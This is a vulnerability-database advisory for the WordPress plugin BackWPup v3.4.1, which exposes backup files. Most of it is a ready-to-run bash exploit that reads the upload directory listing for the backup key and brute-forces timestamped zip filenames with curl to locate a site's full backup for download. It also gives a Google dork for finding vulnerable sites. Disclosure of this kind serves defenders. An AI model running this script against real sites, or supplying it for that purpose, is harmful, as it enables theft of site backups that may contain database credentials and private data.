The VapidLabs Vulnerability Database

Exposed backup file

Summary: backwpup v3.4.1 allows possible brute forcing of backup file for download

Notified: 2017-09-08

Description:

"The backup plugin BackWPup can be used to save your complete installation including /wp-content/ and push them to an external Backup Service, like Dropbox, S3, FTP and many more."

Exploit:

#!/bin/bash
#Exploit for Wordpress Plugin BackWPup v3.4.1
#Download https://wordpress.org/plugins/backwpup
#CWE-552: Files or Directories Accessible to External Parties
#CVE-ID: CVE-2017-2551
#Google Dork: inurl:wp-content/uploads/backwpup


#Add banner about vulnerability

KEY=`curl --silent http://$1/wp-content/uploads/|html2text |grep backups | awk -F- '{print $2}'`

#Add error checking here
echo "[+] Getting Unique Key $KEY"
DIR="backwpup-$KEY-backups"
echo "[+] Checking directory $DIR"
WPATH="$DIR/backwpup_$KEY"
echo "[+] Creating Path: $WPATH"
#use date command here for the default date of current day
MONTH=09
DAY=07
YEAR=2017
Z=0

echo "[+] Scanning website for available backups:"
for y in `seq -w 0 23`; do
        for x in `seq -w 0 59`; do
                 Y=`echo "scale=2;($Z/86000)*100"|bc`;
                 echo -ne "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b$CWPATH $Y%"
        for z in `seq -w 0 59`; do
                 Z=$(( $Z + 1 ));
                 CWPATH="http://$1/wp-content/uploads/$WPATH"01"_"$YEAR"-"$MONTH"-"$DAY"_"$y"-"$x"-"$z".zip";
                 RESULT=`curl -s --head $CWPATH|grep 200`;
                if [ -n "$RESULT" ]; then
                 echo ""
                 echo "[+] Location $CWPATH Found";
                 echo "[+] Received $RESULT";
                 echo "Downloading......";
                # wget $CWPATH
                  exit;
                fi;
        done
        done
done
echo "Completed."

Notes:

Google Dork: inurl:wp-content/uploads/backwpup